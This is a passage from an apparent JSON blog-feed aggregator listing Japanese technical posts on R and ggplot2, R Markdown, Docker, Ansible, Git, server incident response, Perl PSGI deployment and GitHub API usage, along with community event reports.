でビン幅を変える。両方指定すると binwidth が優先される。","link":"https://blog.atusy.net/2018/11/09/binwdith-for-geom-histogram/","isoDate":"2018-11-09T00:00:00.000Z","dateMiliSeconds":1541721600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"[Docker] awslogs-datetime-format の指定方法に注意","contentSnippet":"[Docker] awslogs-datetime-format の指定方法に注意背景Dockerの awslogs ログドライバでは,awslogs-datetime-format オプション…","link":"https://qiita.com/toshikish/items/59a3a4426930e29f0673","isoDate":"2018-11-07T03:23:50.000Z","dateMiliSeconds":1541561030000,"authorName":"toshikish","authorId":"toshikish"},{"title":"R起動時に不足パッケージを導入しつつ読み込む","contentSnippet":".Rprofileを使っていつも使うパッケージはR起動時に読み込む例えば, tidyverse を読み込みたいなら,options(defaultPackages = c(getOption(\'defaultPackages\'), \'tidyverse\'))とする.library ではなく options を利用することで,filter() で dplyr::filter() を呼ぶつもりが stats::filter() を呼んでしまうような事故を防げる.不足パッケージをインストールしたいこれは一筋縄ではいかず,私は callr::r() を使うことで解決した.","link":"https://blog.atusy.net/2018/11/06/defaultpackages-rprofile/","isoDate":"2018-11-06T00:00:00.000Z","dateMiliSeconds":1541462400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplot2で$TeX$を利用する","contentSnippet":"はじめにインストール使ってみるタイトルなどで \\\\(TeX\\\\)geom_text で \\\\(TeX\\\\)facet_wrap や facet_grid で \\\\(TeX\\\\)Enjoy!はじめにggplot2 で \\\\(TeX\\\\) 記法が使えると嬉しいですよね.一応,そういう人たちのための入口としては expression だとか bquote だとかがあるんですが,ここでは紹介しません.いえ,毎度使い方を忘れてしまい,紹介できないというのが正しいです.","link":"https://blog.atusy.net/2018/11/03/tex-in-ggplot2/","isoDate":"2018-11-03T00:00:00.000Z","dateMiliSeconds":1541203200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"patchworkの表示を高速化したかった……","contentSnippet":"失敗の記録.目的ggplotのリストの表示を高速化するで紹介した通り,ggplotオブジェクトはprintされる段になって,プロットに必要な計算を行っているため,大量のggplotを行うならば,計算部分を並列化し,表示を順次行うのが効率的だ.patchworkを使ってggplotオブジェクトを並べる時も同様では……? と思い,実験したが,何故かそうはならなかった.","link":"https://blog.atusy.net/2018/11/03/accelarate-patchwork/","isoDate":"2018-11-03T00:00:00.000Z","dateMiliSeconds":1541203200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplot2とpatchworkで周辺分布","contentSnippet":"patchworkパッケージを使えばあんな図やこんな図が簡単に,と思い馳せた人も多いのではなかろうか.参考: TokyoR 73での発表スライド中でも周辺分布を自由に綺麗に,と思ったのは私だけではないはず.","link":"https://blog.atusy.net/2018/11/02/marginal-patchwork/","isoDate":"2018-11-02T00:00:00.000Z","dateMiliSeconds":1541116800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"RmarkdwonのYAMLフロントマターで\\ntitleとか\\nauthorとか\\n改行する","contentSnippet":"@niszet0 さん著「R MarkdownでWord文書を作ろう」を読んでます。Rmdを扱った商業誌にも、同書ほどRmdファイルのYAMLフロントマターの書式を丁寧に書いている本はないのではないだろうか。使えれば良いというスタンスだったのもあって、YAMLのフロースタイルとか、始めて学びました。しかし、これだけ詳しく書いてあるのに改行のことに触れられていないな、とふと。","link":"https://blog.atusy.net/2018/10/27/linbreaks-in-yaml-front-matter-of-rmd/","isoDate":"2018-10-27T00:00:00.000Z","dateMiliSeconds":1540598400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Plotlyで軸比を1:1に固定する","contentSnippet":"今迄Plotly.jsを使いたい時は、元の図を ggplot2 パッケージで作成し、 plotly::ggplotly() で変換していた。しかし、どうもパフォーマンスが悪い気がするので、Plotlyネイティブに書いてみようと思った。","link":"https://blog.atusy.net/2018/10/26/plotly-fixed-axes/","isoDate":"2018-10-26T00:00:00.000Z","dateMiliSeconds":1540512000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdown で PlantUML","contentSnippet":"@niszet0 さんの “R MarkdownでWord文書を作ろう” を摘み食いしてます (以下RmdでWord本).ちゃんとしたいずれレビューはいずれするとして,気付いたところを少しずつメモしていきたい.","link":"https://blog.atusy.net/2018/10/25/plantuml-on-rmd/","isoDate":"2018-10-25T00:00:00.000Z","dateMiliSeconds":1540425600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"結婚式で使った楽曲","contentSnippet":"9/29に結婚式を挙げました。なんとこの日は私の愛すDo As Infinityのデビュー日。ゆかりんが登場したことで、一部が騒然(?)としましたが、Do As Infinityメドレーなど、私の趣味全開です。","link":"https://blog.atusy.net/2018/10/22/bridal-music/","isoDate":"2018-10-22T00:00:00.000Z","dateMiliSeconds":1540166400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"TokyoR 73 行ってきました","contentSnippet":"2018年10月20日はJuliaなんちゃらやらなんやらと沢山の勉強会が同時開催された日だったらしいですね。私はTokyoR 73を選んで「ggplot2で図を並べる」と題して facet_grid() 、 facet_wrap() 、 patchwork パッケージについて作例交えて話してきました。","link":"https://blog.atusy.net/2018/10/21/tokyor73/","isoDate":"2018-10-21T00:00:00.000Z","dateMiliSeconds":1540080000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplotのリストの表示を高速化する","contentSnippet":"大きなデータを用いたggplotのリストや,大量のggplotのリストを高速に描写するための関数 print_gglist を作りました.devtools::install_github(\'atusy/ggAtusy\')で遊べます.はじめにggplot2パッケージで作成したプロット (ggplotオブジェクト) はprintされる段になって,プロットに必要な計算を行っている.","link":"https://blog.atusy.net/2018/10/16/accelerate-list-of-ggplot/","isoDate":"2018-10-16T00:00:00.000Z","dateMiliSeconds":1539648000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Antergos導入","contentSnippet":"自宅用PCにAntergosを導入しました.ppaを足すも.debや.tar.gzを落とすもなんかかったるくなってAURが楽しそうなArchlinux系列を試すことにしました.","link":"https://blog.atusy.net/2018/10/11/hello-antergosmd/","isoDate":"2018-10-11T00:00:00.000Z","dateMiliSeconds":1539216000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ローカル環境でAnsibleの鍵交換がめんどくさい貴方に送るプラクティス","contentSnippet":"はじめに平成の時分も終わりに近づく中、野分立ち尽くす天災に人々は翻弄され、お家で過ごすのを余儀なくされる日が多いように思います。^1今日のような一日は、自然とQiitaにたどり着き、PVが増…","link":"https://qiita.com/skikkh/items/ca236c512d314691b35c","isoDate":"2018-09-30T09:33:37.000Z","dateMiliSeconds":1538300017000,"authorName":"skikkh","authorId":"skikkh"},{"title":"新人が学ぶAnsibleもくもく会 ネットワーク編 報告会","contentSnippet":"はじめにお久しぶりのエントリになります。新卒でインフラエンジニアをしている小心者のひよこです。このような職種に身をおいてはや5ヶ月というところで、世の中を幅広く見渡してみると、どうやら世は大…","link":"https://qiita.com/skikkh/items/156c677e07ffc6b5b4ef","isoDate":"2018-08-29T14:34:09.000Z","dateMiliSeconds":1535553249000,"authorName":"skikkh","authorId":"skikkh"},{"title":"roxygen2タグまとめ","contentSnippet":"まとめTips@title、@description、@details について@importFrom、@seealso について@examplesをcheckしたくない時if (interactive()) {}でコードを囲む\\\\dontrun{}でコードを囲むその他References変更履歴Roxygen2のタグについての情報が複数箇所に分散していて調べるのが大変なのでまとめた。","link":"https://blog.atusy.net/2018/08/28/roxygen2matome/","isoDate":"2018-08-28T00:00:00.000Z","dateMiliSeconds":1535414400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"欠損値の発生過程の類別","contentSnippet":"先日、欠損値の発生過程の例を図示してTweetしたところ、思ったより反響がよかったので、図をブラシュアップの上、記事に残すことにした。俄仕込みなので、間違いがあったらTwitterで指摘して下さい。","link":"https://blog.atusy.net/2018/08/25/missing-value-type/","isoDate":"2018-08-25T00:00:00.000Z","dateMiliSeconds":1535155200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Rmdでchunkごとの実行時間を計測","contentSnippet":"Jupyter Notebookでは、コードブロック冒頭で %%timeit と唱えると、ブロックの評価に要した時間を表示できる。https://jakevdp.github.io/PythonDataScienceHandbook/01.07-timing-and-profiling.htmlこれをRmdでもできないかなー? と思って knit_hooks() を利用してみた。knit_hooks() の使い方の詳細はこちら。","link":"https://blog.atusy.net/2018/08/18/time-each-chunk/","isoDate":"2018-08-18T00:00:00.000Z","dateMiliSeconds":1534550400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"パラメータ付きRmdを試す","contentSnippet":"パラメータ付きRmdが便利そうだと思ったのでメモと実験パラメータ付きRmdとはYAMLヘッダーの params で作成される変数のリストを用いたRmdうまく使えばYAMLヘッダーさえ弄ればOKな半自動レポーティングの助けになると思われる。","link":"https://blog.atusy.net/2018/08/17/rmd-parameterized/","isoDate":"2018-08-17T00:00:00.000Z","dateMiliSeconds":1534464000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R3.5系ではファイル同期ソフトでパッケージを同期しないように","contentSnippet":"タイトル通り、R3.5系ではファイル同期ソフトでパッケージを同期しないようにしましょう。同期しておくとある環境にインストールしたパッケージを他の環境でもすぐさま利用できて便利だったのですが……。","link":"https://blog.atusy.net/2018/07/31/dont-sync-pkg-r3-5/","isoDate":"2018-07-31T00:00:00.000Z","dateMiliSeconds":1532995200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"xetexでunicode文字","contentSnippet":"$\\\\LaTeX{}$ で μ や α など特殊文字を直打ちすると、XeTeXを使っている場合は、\\\\setmainfont{IPAMincho}など、ユニコードに対応したフォントを使うように指定する。","link":"https://blog.atusy.net/2018/07/09/xelatex%E3%81%A7utf8%E6%96%87%E5%AD%97/","isoDate":"2018-07-09T00:00:00.000Z","dateMiliSeconds":1531094400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"GitHub pages with Rmarkdown","contentSnippet":"遅蒔きながら、Rのblogdownパッケージを使ってblogを始めてみた。“Rとblogdownでかんたんにgithub.io上にブログを使ってみよう!!”を参考にしたのだが、何点かハマったところがあったのでメモ。baseurl = \\"/\\"トップページが404の時はもう一度pushしてみる記事の規定拡張子はoptionで指定option(blogdown.ext = \'.Rmd\')参考URLにある option(blogdown.Rmd = TRUE) は過去のもの?","link":"https://blog.atusy.net/2018/07/05/github-pages-with-rmarkdown/","isoDate":"2018-07-05T00:00:00.000Z","dateMiliSeconds":1530748800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"[Laravel] バリデーションデータに前処理したい","contentSnippet":"[Laravel] バリデーションデータに前処理したい当てはまるケースフォーム入力データとデータベース保存データの形式が違う.例えば…全角・半角変換先頭・末尾の空白を取り除くユーザーには0…","link":"https://qiita.com/toshikish/items/f38b691adbebd7ba7720","isoDate":"2018-06-12T09:27:45.000Z","dateMiliSeconds":1528795665000,"authorName":"toshikish","authorId":"toshikish"},{"title":"Git リポジトリを分割する","contentSnippet":"以下のようなディレクトリ構造のリポジトリを分割する方法を場合分けしてまとめます。repo1/ ├─ subdir/ ├─ aaa ├─ bbb ├─ ccc └─ dddケース1:サブディレクト…","link":"https://qiita.com/toshikish/items/3529f75c511a65723798","isoDate":"2018-04-11T10:14:22.000Z","dateMiliSeconds":1523441662000,"authorName":"toshikish","authorId":"toshikish"},{"title":"障碍対応と私","contentSnippet":"この記事は、モバイルファクトリー Advent Calendar 2015 18日目の記事です昨日は@yashims85さんのAndroid drawableは画像を入れておくだけじゃないでした。今日は障碍の話です。普段障碍対応しているときにやってること考えてることをざっくりと時系列を追って書いていきたいと思います。コンテキストとしてはLinuxサーバでwebサービスをやっていると思っていただければと思います。障碍の検知webサービスを運営していれば、何かしらの監視システムからSlackなりIRCなりメールなり電話なりでアラートの通知が来ると思います。対応報告障碍対応をしている旨をメールなり、何かの連絡手段で伝えます。同じく見ている人がいれば調査作業の分担もできます。状況把握どこで障碍?アラートの通知内容にどのサーバで何が起きた的なことが書いてあるはずなので、それを確認します。だいたいの組織に於いてはサーバ管理表的なものがwebなりExcelなり設定ファイルなりにあるはずなので、そこと照らし合わせてどのプロジェクトのどのロールなのかを把握します。直前に何をした? いつもと違うことは何?webアプリケーションであれば直前に入れた変更が原因かもしれません。また、ちょっと前に入れていた変更だが、cronで時限発火したというケースも考えられるかも知れません。イベント開始で急にトラフィックが上がったと言うことも考えられるかも知れません。普段と変わったことは何かということが把握出来れば対処の幅が広がります。影響範囲は?サービス全体なのか、サービスの1機能の障碍なのか、ミドルウェア障碍なのか、影響がどの範囲に及んでいるのかを見ます。ミドルウェア障碍であれば、最近であれば、冗長化されてるのが普通なので、サービスから切り離して、監視から外せば終わりというパターンも多いです。サービス全体が落ちている場合は、ひとまず重要な関係者に状況の1次連絡すぐにした方が良いでしょう。接続出来る?そもそも、該当サーバに接続出来ない場合は、できることはほぼないので、該当サーバをサービスから外した上で、監視対象から外します。(単体のサーバ障碍の場合)# pingは通る?ping ${IP}# sshできる?ssh ${IP}ログの確認該当サーバ上で動いているミドルウェアやアプリケーションサーバのエラーログを主に見ます。だいたいこの辺に重要な情報が出力されている可能性があります。システムのログも確認した方が良いです。主にsyslogやkernelログを見ると良いでしょう。# syslogを見るless /var/log/syslog# kernelログを見るless /var/log/kern.log# kernelログを見る2dmesgサーバ状態の確認負荷の関係で障碍が起きているのであれば、現在のサーバの状態を確認しましょう。以下のようなコマンドが現状把握に役立つでしょう。# loadaverageおよびログイン中のユーザを見るw# 変なプロセス無いか見るps -ef# orps auxwwww# 開いているポートを確認するnetstat -tlnp# ネットワークコネクションを確認するnetstat -taopen# なにかCPU使いまくってないか見るtop# 現在の負荷の経過を見るdstat -tamsl 5# 過去の負荷情報を見る## CPUsar## memorysar -r## lasar -q対処直前のコミットにバグを入れ込んでしまったのであればリバートすれば解決するでしょうし、特定のサーバ落ちたのであれば、サービスから外してあげるだけで良いかも知れません。障碍の内容によって対処方法は様々です。ここで気を付けたいのは二次災害を起こさないことです。可能であれば、コマンドなり対処スクリプトのレビューをしてもらったり、現状認識に間違いがないかを周りの人にしてもらうと良いでしょう。(往々にして一人で障碍対応せざるを得ない場合もありますが。。)事後報告障碍対応が終わったら、記憶が新鮮なうちに下記の内容をまとめてしかるべき場所に投稿します。この辺の報告のフォーマットはだいたいの組織において決まっていることが多いでしょう。障碍内容影響範囲経過対処方法将来の対策面倒くさがらずに事実をなるべく詳細に書いておくと未来の自分や自組織のためになると思います。私の組織でも過去の障碍報告がだいぶ良い感じにデータベースになっており、たまに読み返すと気付きが得られます。また、この障碍報告を元に、同種の障碍をなるべく起こさない仕組み作りをしていくことが肝要だと思います。終わりに自分が障碍対応しているときにやってること、考えてることをざっくり書いてきました。誰にやり方を教わったわけでもないので、そこは違うとかこうした方がいいとかあれば、いただけると幸いです。明日は、@lycoris102さんのGameJam部 活動年間活動報告です。きっと面白い話なのではないでしょうか。","link":"https://blog.masasuzu.net/entry/2015/12/18/troubleshooting","isoDate":"2015-12-18T13:00:00.000Z","dateMiliSeconds":1450443600000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#chibapm Chiba.pm#7に参加しました。","contentSnippet":"参加しました。雑なスライドですみません。スライド中に出てきてるやつはどれも五反田のお店で出てきます。五反田企業のガイアックスさんとかモバイルファクトリーさんはPerlの会社なので、美味しいごはんを食べたい人は検討してみてはいかがでしょうか。そういえば、Chiba.pmの開催回数がKichijoji.pm、Gotanda.pmに抜かされそうです。。","link":"https://blog.masasuzu.net/entry/2015/12/12/chiba.pm-7","isoDate":"2015-12-12T09:39:37.000Z","dateMiliSeconds":1449913177000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015-12-12-chiba.pm7","contentSnippet":"Chiba.pm#7 2015年をふりかえる","link":"https://speakerdeck.com/masasuzu/2015-12-12-chiba-dot-pm7","isoDate":"2015-12-12T05:00:00.000Z","dateMiliSeconds":1449896400000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"Plack/PSGIなwebアプリケーションの実行環境","contentSnippet":"この記事は、モバイルファクトリー Advent Calendar 2015 11日目の記事です※ 投稿内容は私個人の意見であり、所属企業・部門見解ならびに技術戦略を代表するものではありません。昨日は@rymizukiさんのnpmライブラリの運用と管理についてでした。今日はPerlの話です。お仕事やプライベートでPerlのwebアプリケーションを書くことが多く、いろいろ知見が溜まってきてるので、ここで少し紹介しようと思います。今回はPlack/PSGIなwebアプリケーションの実行環境の話です。mod_perlなアプリケーションとはちょっとコンテキストが違います。少しかっちりコンテキストに近いです。個人で軽くwebアプリケーション立てるならもう少しゆるふわでも問題ないはずです。OSUbuntuのLTSを使うことが多いです。Ubuntu前提の内容が後に続きます。PerlSystem Perlは使ってません。OS/ディストリビューションが変わってもなるべくそのまま動くようにしたいためです。perl-buildで独自ビルドしたPerlを使います。インストール場所としては、 /usr/local/perl/perl-5.${VERSION} に置きます。Perlを独自ビルドしたものをDebian package化して実行環境にはインストールします。他の方法としては、ビルド済みのperlをtarで固めて、配布するというのもあります。どちらでも構わないのですが、ローカルネットワークにaptサーバ立てている関係で、Debian packageの方が運用しやすいのです。また、perlのマイナーバージョンアップの際もDebian packageを作り直した上で、 apt-get upgrade (or aptitude safe-upgrade)で完結するので、aptの操作に慣れていて楽というのもあります。モジュール管理今風にcpanfileでモジュール管理してます。モジュールインストールはCartonを使ってます。Cartonの後継でCarmelも開発されてます。個人的にはそろそろ触っておきたいところです。また、cpanfile.snapshotもレポジトリに入れています。一般的なモジュールは特定の(古い)バージョンに依存せずに動くべきですが、依存モジュールのバージョン違いによって現在動いているアプリケーションが壊れるのを防ぐために、バージョン固定します。cpanfile.snapshotがある状態で下記のように carton install してあげると、どの環境でも同じバージョンのモジュールがインストールされます。carton install --deployment --without develop,test今やってないですが、別方法としては、モジュールがインストール済みの状態で、 carton bundle すると vendar/ にモジュールのtarが固められるので、それもレポジトリ管理した上で、下記の様にインストールするという手もあります。インストールの際は vendor/bin/carton にfatpackされたcartonコマンドが入るのでそれを使います。(アプリ実行環境にcartonを敢えて入れる必要は無い)# 依存モジュールを固めるcarton bundle# インストール# env.shは後述./script/env.sh vendor/bin/carton install --cached --deployment --without develop,testさらに別方法としては、ビルドサーバで依存モジュールをビルドした上で、ディレクトリごと実行環境にrsyncしてあげる方法です。ビルドサーバを運用しているならば、この方法でも良いでしょう。参照Carton考2014carton bundle && carton install --cachedの使いどころ独自モジュールなるべく、独自モジュールは使わない方が良いのですが、個人的な事情などで、CPANに公開出来ないモジュールに関しては、OrePAN2 でDarkpanを作ってそこからローカルに配信するようにしてます。OrePAN2のサーバを簡単に立ち上げられるOrePAN2::Serverがありますが、一時期は使っていましたが、モジュールのアップロード機能は別にいらないなどの理由で今はwebサーバから静的配信してます。環境変数プロジェクトのレポジトリに config/env.rc という名前で、アプリケーションを動かすために必要な環境変数を定義したファイルを作ります。PERL5_VERSION=\\"22\\"export PROJECT_BASE=\\"/path/to/project\\"export PERL_CARTON_MIRROR=\\"http://orepan.local/\\"export PERL5LIB=\\"${PROJECT_BASE}/local/lib/perl5:${PROJECT_BASE}/lib\\"export PATH=\\"${PROJECT_BASE}/local/bin:/usr/local/perl/perl-5.${PERL5_VERSION}/bin:${PATH}\\"export PLACK_PORT=5555また、 script/env.sh という名前で config/env.rc を読み込んだ上で、プログラムを実行するラッパースクリプトを作ります。スクリプトなどは基本的にこれを通して実行します。#!/bin/bash -ue# 諸々環境変数を設定した上でコマンドを実行する君## env.sh perl hogehoge.pl#source /path/to/project/config/env.rcexec \\"$@\\"開発環境で、いちいちラッパースクリプト通すのが面倒な場合は、config/env.rc のsymlinkをプロジェクトルートに .envrc として張った上で、direnv使って済ましてしまう場合もあります。web サーバ起動スクリプトpsgiファイルを plackup するのではなく、こんな感じのスクリプトをscript/web みたいな名前で 用意してアプリケーションサーバを起動するようにしてます。#!/usr/bin/env perluse strict;use warnings;use lib \\"$ENV{PROJECT_BASE}/lib\\";use Plack::Loader;use SomeApplication::Config;use SomeApplication::Web::Handler;my $config = SomeApplication::Config->load();my $app = SomeApplication::Web->to_app();Plack::Loader->load( $config->{psgi}->{server}, %{ $config->{psgi}->{config} },)->run($app);また、このスクリプトをstart_serverを経由して起動することで、(graceful restartによる)ホットデプロイをできるようにしてます。start_server のプロセスにSIGHUPを送ると子プロセスのアプリケーションサーバを再起動してくれるのですが、 plackup コマンドで起動してると start_server に渡した引数をそのまま使ってplackup を再起動するので、 max_workers の数を変えたいときなど、 start_server 自体のプロセスを再起動しなくてはならないので不便です。なので、起動スクリプトを作ってます。そのほかにも理由があるのですが、参照リンクに詳しくあります。サーバ実装としては、StarletやGazelleを使ってます。参照PSGI/Plackアプリケーションの起動方法いろいろと本番環境アレコレ普通に使う Plack/PSGI ServerGraduate from .psgiデーモン管理現在はUpstartでアプリケーションサーバのデーモン管理してます。以下の理由で、個人的には好きでした(過去形)。最新のUbuntuはSystemdに変わってしまったので、将来的にはSystemdに移行することになるでしょう。Ubuntuに標準で入っていてサーバ起動時の自動起動してくれてデーモン異常終了時に自動再起動してくれて設定はわりかしわかりやすい/etc/init/web-some-application.conf みたいな名前でこんな設定ファイルを作りますdescription \'some web application\'author \'masasuzu \'start on runlevel [2345]stop on starting rc RUNLEVEL=[016]setuid webappsetgid webapp# 異常時に再起動するrespawnscript . /path/to/project/config/env.rc export PLACK_ENV=\\"production\\" exec ${PROJECT_BASE}/local/bin/start_server \\\\ --interval 10 \\\\ --port ${PLACK_PORT} \\\\ -- ${PROJECT_BASE}/script/service/webend script上記のファイルを作ると以下のように操作出来ます。reloadでSIGHUPが送れるので、アプリケーションサーバのstart_server経由のgraceful restartができます。# 起動service web-some-application start# 停止service web-some-application stop# (start_serverのプロセスごと)再起動service web-some-application restart# Plackサーバを再起動service web-some-application reloadアプリケーションサーバ以外も、ジョブのワーカーなども、独自に設定ファイルを作って、Upstart経由で起動したりしてます。Upstart以外の選択肢としては、先に挙げたSystemdの他、以下のものがあるでしょう。好みと要件に合わせて使えば良いと思います。daemontoolsSuvpervisordSystemd参照Server::Starterから学ぶhot deployの仕組みServer::Starter の --interval オプションは大切Upstart を使ってお手軽 daemon 化Upstart Intro, Cookbook and Best PractisesおわりにWAF(Web Application Framework)やログの話など膨らまそうと思えばもっと膨らませられますが、実行環境の話なので、ここまでで抑えておきます。ざっくりと、Plack/PSGIなアプリケーションの実行環境について説明してきました。PerlでWebアプリケーションを作る時に何か参考になれば幸いです。また、もっと良い方法があれば、教えていただけるとありがたいです。明日は、@nekobato さんです webpackのなにか面白い話があるんじゃないかとわくどきしてます。","link":"https://blog.masasuzu.net/entry/2015/12/11/plack-psgi-exec-env","isoDate":"2015-12-11T04:30:00.000Z","dateMiliSeconds":1449808200000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"Github APIを使おう","contentSnippet":"この記事は、モバイルファクトリー Advent Calendar 2015 4日目の記事です今日は、Github APIの話です。Githubの管理作業は他のWebサービスと同じく基本Webコンソールでできます。ただ、Organizationとかを管理してる場合、ある程度以上規模が大きくなると、定型的な管理作業が増えて、Webでぽちぽちやるには煩雑でつらくなってきます。ここで怠惰エンジニア*1はどうにかこの定型作業を自動化/スクリプト化できないかなと考え始めます。幸い、GithubにはAPIがあるので、これを利用して要件に合わせて、実装することができます。ドキュメントは以下の場所にあるので、各APIの使い方などはそちらを参照してください。GitHub API v3 | GitHub Developer Guideapiアクセスを投げるpublicな情報を取得するには普通にcurlでGET発行するだけで、取得出来ます。curl https://api.github.com/users/masasuzu/reposが、これだけでは、privateな情報にアクセスできません。ので、Basic認証をしてアクセスをします。curl -u ${USER}:${PASSWORD} https://api.github.com/orgs/some_privete/reposただ、この場合、このアカウントで出来ることが全て実行出来てしまうので、下記のリンクからアクセストークンを発行して、権限を絞ってAPIにアクセスするのが望ましいです。アクセストークンは作成時にしか見れないので、ちゃんと書き留めておくようにしましょう。Personal access tokensアクセストークンを使用した場合、下記の3つの方法で認証出来ます。curl -u :${ACCESS_TOKEN} https://api.github.com/orgs/some_privete/reposcurl -H \'Authorization: token ${ACCESS_TOKEN}\' https://api.github.com/orgs/some_privete/reposcurl \'https://api.github.com/orgs/some_private/repos?access_token=${ACCESS_TOKEN}\'ドキュメントに各API発行に必要なscope(権限)が書いてあるので必要なscopeだけ付与してあげると良いです。perlでの選択肢今までで、APIアクセスする手段を得ることはできましたが、シェルスクリプトで処理を組み立てるのは、無謀なので、使い慣れてるプログラミング言語で実装したいところです。当社ではPerlを使い慣れてるエンジニアが多いので、ここではPerlのクライアントを紹介します。現在のところ以下の2つの選択肢があります。PithubNet::Github私はPithubを使っています。使い始めた時期においてPithubの方が更新されてそうだったからです。が、今見るとNet::Githubも更新されてるように見えます。他の言語での選択肢特にプログラミング言語にこだわりが無いのであれば、githubがメンテナンスしてるoctokitを使うと良いと思います。RubyとObjective C、.Netに対応してます。たぶん鉄板だと思います。(しかし、octokitのこのサンライズというかバンダイに怒られそうなデザインは大丈夫なのでしょうか?まとめ煩雑で定型的な作業はGithub APIで自動化すると良いPrivateな情報の操作はアクセストークンを発行してAPIを発行するPerlにはPithubとNet::Githubのクライアントライブラリがあるこだわりがなければ、クライアントはoctokit使うと良い明日は、 @mihyaeru21 さんです。iOS回りの面白いエントリが見れそうです。*1:プログラマの3大美徳の1つ","link":"https://blog.masasuzu.net/entry/2015/12/04/use_github_api","isoDate":"2015-12-04T14:47:44.000Z","dateMiliSeconds":1449240464000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#gotandapm Gotanda.pm Perl Technology Conference #6 でLTしてきました。","contentSnippet":"gotanda-pm.connpass.comGotanda.pmでLTしてきました。今回のテーマは障碍でした。半分ネタのトークです。JSTQB Foundation Level のシラバスに載っているソフトウェアテストの7原則をもじったやつです。JSTQB認定テスト技術者資格-シラバス(学習事項)・用語集-言ってみれば、サービスに対して継続的にテストするのが監視なのでテストに対する原則が監視に対しても言えるんじゃないかなーという軽い思いつきから生まれました。無理矢理な部分もありましたが、わりかし当てはまってる部分もあったのではないかと思いました。トーク中美味しいにおいがしてきてつらかったです。(このエントリは懇親会の前に書かれてます)#gotandapm 美味しそうなにおいがして辛い。。。。— masasuzu? (@masasuz) September 17, 2015ガイアックスさん会場提供ありがとうございました。","link":"https://blog.masasuzu.net/entry/2015/09/17/Gotanda.pm6","isoDate":"2015-09-17T12:14:35.000Z","dateMiliSeconds":1442492075000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015-09-17_gotanda.pm6","contentSnippet":"Gotanda.pm#6 LT\\r監視の7原則という半分ネタなトーク","link":"https://speakerdeck.com/masasuzu/2015-09-17-gotanda-dot-pm6","isoDate":"2015-09-17T04:00:00.000Z","dateMiliSeconds":1442462400000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#yapcasia YAPC::Asia 2015でボランティアスタッフしてきた","contentSnippet":"今年のYAPC::Asiaは終わった。つつがなく終わりました。過去のエントリを見直すと2011、2012年は書くのサボっていたみたいでした。私のYAPC::Asia初参加は2010年で6回目の参加でした。#yapcasia YAPC::Asia 2014でボランティアスタッフやってきました - 目の前に僕らの道があるmasasuzu.hatenablog.jp#yapcasia YAPC::Asia Tokyo 2013に参加してきました。 - 目の前に僕らの道があるmasasuzu.hatenablog.jpYAPC::Asia 2010へ行ってきたよ。 - 目の前に僕らの道があるmasasuzu.hatenablog.jp今年のYAPCとの関わり方は個人スポンサー+ボランティアスタッフとして参加しました。個人スポンサーとしては4年目、ボランティアスタッフとしては3年目でした。今年のYAPCもすごい楽しかったです。特にここ1,2年でPerl関係の人たちの知り合いがすごい増えたので、いろんな人と話ができてすごい楽しかったです。トークの方は例年スタッフ業をやっていると聞けないので、(会場にいてもスタッフのお仕事に意識が行くので内容を聞き取れてないことが多い)、動画が上がったら気になっていたトークを追いたいと思います。さて、だいたい6年前からWebで、Perlでお仕事するようになってからYAPCにはいろいろなものをもらってきました。だからこそ、ボランティアスタッフをやったり、個人スポンサーになって自分がもらったものを間接的に他の人に与えられたらいいなと思ってやってきました。自分がもらったものを他の人も受け取ってもらえたらなら良いなと思います。YAPC::Asiaはいったん終わります。それ自体いろいろ思うところがありますし、残念ではあります。YAPC::Asiaが無くなっても地域PMなどのPerlのコミュニティ自体が無くなるわけではないので私も細々とコミュニティ活動していきます。ただ、全国的にPerlな人が集まってくるイベントが今のところ来年無いのは寂しいところです。もしどこかで動きがあるならお手伝いさせていただければなと思います。YAPC::Asiaお疲れ様でした。(初日の懇親会の後の二次会でいろんな人に迷惑かけてしまったようなのでものすごく反省しています。すみません。お酒気を付けます。。。会期中のつぶやきいくつかおしゃれなカップだ #yapcasia pic.twitter.com/NwWw30i3HW— masasuzu? (@masasuz) August 22, 2015#yapcasia Perl6! pic.twitter.com/2tJh6irctZ— masasuzu? (@masasuz) August 22, 2015#yapcasia 壇上から。お疲れさまでした!! pic.twitter.com/1MiU56gE4R— masasuzu? (@masasuz) August 22, 2015","link":"https://blog.masasuzu.net/entry/2015/08/23/YAPC_Asia","isoDate":"2015-08-23T10:17:16.000Z","dateMiliSeconds":1440325036000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#kichijojipm 吉祥寺.pmでLTしてきた","contentSnippet":"吉祥寺.pm (kichijojipm) #4 : 